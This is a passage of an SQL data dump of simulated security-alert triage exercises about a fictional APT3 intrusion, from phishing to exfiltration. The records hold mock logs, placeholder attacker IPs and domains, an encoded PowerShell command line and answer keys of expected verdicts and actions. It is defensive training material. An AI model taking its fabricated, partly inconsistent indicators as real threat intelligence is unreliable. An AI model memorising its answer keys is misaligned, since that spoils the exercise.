1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"DLP-Exfil-20231015-001\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"192.0.2.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3e23e8160039594a33894f6564e1b134\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"data_exfil.exe\\\",\\\"malicious_ip\\\":true,\\\"tags\\\":[\\\"APT17\\\",\\\"Exfiltration\\\",\\\"Critical\\\"]}\"},{\"timestamp\":\"2026-02-08T18:58:02.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"DLP-Exfil-20231015-001\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"192.0.2.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3e23e8160039594a33894f6564e1b134\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"data_exfil.exe\\\",\\\"malicious_ip\\\":true,\\\"tags\\\":[\\\"APT17\\\",\\\"Exfiltration\\\",\\\"Critical\\\"]}\"},{\"timestamp\":\"2026-02-08T18:57:02.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"DLP-Exfil-20231015-001\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"192.0.2.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3e23e8160039594a33894f6564e1b134\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"data_exfil.exe\\\",\\\"malicious_ip\\\":true,\\\"tags\\\":[\\\"APT17\\\",\\\"Exfiltration\\\",\\\"Critical\\\"]}\"},{\"timestamp\":\"2026-02-08T18:56:02.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:22Z\\\",\\\"event_id\\\":\\\"DLP-Exfil-20231015-001\\\",\\\"source_ip\\\":\\\"10.0.5.23\\\",\\\"destination_ip\\\":\\\"192.0.2.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"3e23e8160039594a33894f6564e1b134\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"data_exfil.exe\\\",\\\"malicious_ip\\\":true,\\\"tags\\\":[\\\"APT17\\\",\\\"Exfiltration\\\",\\\"Critical\\\"]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1215, 'Suspicious Phishing Email Detected', 'medium', 'Email Gateway Logs', 'A phishing email from APT3 was detected, containing a malicious link exploiting the CVE-2014-1776 vulnerability in Internet Explorer. The email was sent to a user within the network in an attempt to gain initial access.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:55:02Z\",\"email_id\":\"20231020-00123\",\"from\":\"attack@maliciousdomain.com\",\"to\":\"user@company.com\",\"subject\":\"Urgent: Update Your Account Information\",\"body\":\"Dear user, please update your account information using the following link: http://maliciousdomain.com/update\",\"attachments\":[],\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"malicious_link\":\"http://maliciousdomain.com/update\",\"exploit_cve\":\"CVE-2014-1776\"}', '2026-02-07 21:28:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"DomainReputationService\",\"verdict\":\"malicious\",\"details\":\"Domain linked to multiple phishing attacks\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/update\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosting phishing content\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"attack@maliciousdomain.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"EmailReputationService\",\"verdict\":\"malicious\",\"details\":\"Email address used in previous phishing campaigns\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-02-08T19:00:02.538Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1216, 'Malicious Script Execution on User System', 'high', 'Endpoint Detection and Response (EDR)', 'A malicious script executed on the user system via a phishing email\'s link. The link triggers a script in Internet Explorer, exploiting a zero-day vulnerability to execute a payload, leading to potential system compromise.', 'Execution', 'T1203 Exploitation for Client Execution', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T13:45:30Z\",\"event_type\":\"malicious_script_execution\",\"host_ip\":\"192.168.1.15\",\"user\":\"jdoe\",\"process\":{\"name\":\"iexplore.exe\",\"pid\":4587,\"command_line\":\"\\\"C:\\\\Program Files\\\\Internet Explorer\\\\iexplore.exe\\\" http://malicious-example.com/exploit\"},\"network\":{\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":80},\"file\":{\"name\":\"exploit_payload.js\",\"path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\exploit_payload.js\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"indicators\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\",\"role\":\"attacker\"},{\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"role\":\"malicious_script\"}]}', '2026-02-07 21:28:29', '2026-02-19 15:53:20', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware hash linked to recent exploit scripts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1217, 'Pirpi Backdoor Installation', 'medium', 'File Integrity Monitoring', 'The File Integrity Monitoring system detected the installation of the Pirpi backdoor, which is known to be used by APT3 to maintain persistent access to compromised systems. The malware was installed after successful execution, allowing the attacker to establish a foothold within the network.', 'Persistence', 'T1546.006', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:23Z\",\"event_id\":\"FIM-20231012-0001\",\"internal_ip\":\"192.168.1.45\",\"external_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"filename\":\"C:\\\\Windows\\\\System32\\\\pirpi.dll\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"detected_event\":\"File Created\",\"action_taken\":\"Alerted\",\"description\":\"The file pirpi.dll was created in the System32 directory, associated with APT3 activity.\"}', '2026-02-07 21:28:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP range\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known APT3 command and control server\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\pirpi.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Pirpi backdoor associated with APT3\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Pirpi malware\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:23Z\\\",\\\"event_id\\\":\\\"FIM-20231012-0001\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\pirpi.dll\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"detected_event\\\":\\\"File Created\\\",\\\"action_taken\\\":\\\"Alerted\\\",\\\"description\\\":\\\"The file pirpi.dll was created in the System32 directory, associated with APT3 activity.\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:23Z\\\",\\\"event_id\\\":\\\"FIM-20231012-0001\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\pirpi.dll\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"detected_event\\\":\\\"File Created\\\",\\\"action_taken\\\":\\\"Alerted\\\",\\\"description\\\":\\\"The file pirpi.dll was created in the System32 directory, associated with APT3 activity.\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:23Z\\\",\\\"event_id\\\":\\\"FIM-20231012-0001\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\pirpi.dll\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"detected_event\\\":\\\"File Created\\\",\\\"action_taken\\\":\\\"Alerted\\\",\\\"description\\\":\\\"The file pirpi.dll was created in the System32 directory, associated with APT3 activity.\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:23Z\\\",\\\"event_id\\\":\\\"FIM-20231012-0001\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\pirpi.dll\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"detected_event\\\":\\\"File Created\\\",\\\"action_taken\\\":\\\"Alerted\\\",\\\"description\\\":\\\"The file pirpi.dll was created in the System32 directory, associated with APT3 activity.\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.540Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:23Z\\\",\\\"event_id\\\":\\\"FIM-20231012-0001\\\",\\\"internal_ip\\\":\\\"192.168.1.45\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\pirpi.dll\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"detected_event\\\":\\\"File Created\\\",\\\"action_taken\\\":\\\"Alerted\\\",\\\"description\\\":\\\"The file pirpi.dll was created in the System32 directory, associated with APT3 activity.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1218, 'Unauthorized Credential Access Detected', 'high', 'Network Traffic Analysis', 'APT3 utilizes the Pirpi backdoor to access and harvest user credentials. This activity is indicative of preparation for lateral movement within the network.', 'Credential Access', 'T1078 - Valid Accounts', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-07T14:23:45Z\",\"destination_ip\":\"10.0.5.15\",\"source_ip\":\"203.0.113.45\",\"protocol\":\"HTTP\",\"http_method\":\"POST\",\"url\":\"/login.php\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"username\":\"jdoe\",\"file_hash\":\"3fae2c2d4b0b5b5b7f6d8f2a2b7c8d9e\",\"filename\":\"pirpi_backdoor.exe\",\"http_status\":200}', '2026-02-07 21:28:29', '2026-02-19 15:51:23', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT3 operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host suspected of compromise.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3fae2c2d4b0b5b5b7f6d8f2a2b7c8d9e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Pirpi backdoor.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account used in unauthorized access.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"pirpi_backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"File associated with APT3\'s Pirpi backdoor.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1219, 'Data Exfiltration Attempt Via Encrypted Channels', 'high', 'Data Loss Prevention (DLP) Systems', 'The final step in APT3\'s campaign attempts to exfiltrate sensitive data through encrypted channels, aiming to avoid detection. The attack was detected when a large volume of data was being sent from an internal server to an unfamiliar external IP address using HTTPS. The data transfer was flagged by DLP systems due to the encrypted channel and the large volume of data.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T08:45:32Z\",\"event_id\":\"exfiltration_attempt_98765\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"198.51.100.25\",\"protocol\":\"HTTPS\",\"data_volume\":\"150MB\",\"filename\":\"confidential_data.zip\",\"user\":\"jdoe\",\"hash\":\"3d2e479b2f4e3f9a4c3b2e1d4f5a7b8c\",\"action\":\"blocked\",\"detection_method\":\"DLP\"}', '2026-02-07 21:28:29', '2026-02-19 15:53:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the server attempting data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"external_network\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d2e479b2f4e3f9a4c3b2e1d4f5a7b8c\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"Hash linked to tools used in data exfiltration activity.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"dlp_system\",\"verdict\":\"suspicious\",\"details\":\"File flagged by DLP due to large size and sensitive content.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:32Z\\\",\\\"event_id\\\":\\\"exfiltration_attempt_98765\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"198.51.100.25\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"3d2e479b2f4e3f9a4c3b2e1d4f5a7b8c\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:32Z\\\",\\\"event_id\\\":\\\"exfiltration_attempt_98765\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"198.51.100.25\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"3d2e479b2f4e3f9a4c3b2e1d4f5a7b8c\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:32Z\\\",\\\"event_id\\\":\\\"exfiltration_attempt_98765\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"198.51.100.25\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"3d2e479b2f4e3f9a4c3b2e1d4f5a7b8c\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:32Z\\\",\\\"event_id\\\":\\\"exfiltration_attempt_98765\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"198.51.100.25\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"3d2e479b2f4e3f9a4c3b2e1d4f5a7b8c\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T08:45:32Z\\\",\\\"event_id\\\":\\\"exfiltration_attempt_98765\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"198.51.100.25\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"150MB\\\",\\\"filename\\\":\\\"confidential_data.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"hash\\\":\\\"3d2e479b2f4e3f9a4c3b2e1d4f5a7b8c\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1220, 'Initial Access via Phishing Campaign', 'high', 'Email Gateway Logs', 'APT3 initiates a phishing campaign by sending spear-phishing emails containing links to a compromised website hosting the CVE-2015-3113 exploit. The campaign aims to deliver a malicious Adobe Flash exploit to the target organization.', 'Phishing', 'T1193', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-18T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"email_subject\":\"Urgent: Security Update Required\",\"sender_email\":\"security@update-alerts.com\",\"recipient_email\":\"john.doe@organization.com\",\"url\":\"http://compromised-site.com/flash-update\",\"attachment\":\"AdobeFlashUpdate.exe\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"email_id\":\"message-id-123456789\",\"mime_type\":\"application/octet-stream\"}', '2026-02-07 21:28:52', '2026-02-19 15:50:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known APT3 infrastructure.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://compromised-site.com/flash-update\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"Site hosts malicious content related to CVE-2015-3113.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with APT3 malware.\"}},{\"id\":\"artifact_5\",\"type\":\"email\",\"value\":\"security@update-alerts.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Email associated with phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Campaign\",\"date\":\"2026-02-08T19:00:02.546Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1221, 'Execution of Exploit Code', 'high', 'Endpoint Detection and Response (EDR)', 'Upon visiting the compromised website, the victim\'s unpatched Adobe Flash Player automatically executes the embedded exploit, allowing APT3 to gain a foothold.', 'Exploit', 'T1203', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-01T14:23:45Z\",\"event_id\":\"EDR-20231001-001\",\"source_ip\":\"192.168.10.15\",\"destination_ip\":\"203.0.113.45\",\"file_name\":\"flash_exploit.swf\",\"file_hash\":\"a94a8fe5ccb19ba61c4c0873d391e987982fbbd3\",\"user\":\"jdoe\",\"action\":\"Execution of exploit\",\"process_name\":\"FlashPlayer.exe\",\"exploit_name\":\"CVE-2023-XXXX\",\"attacker_ip\":\"203.0.113.45\",\"attacker_domain\":\"malicious-website.com\"}', '2026-02-07 21:28:52', '2026-02-19 15:53:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP used by the victim 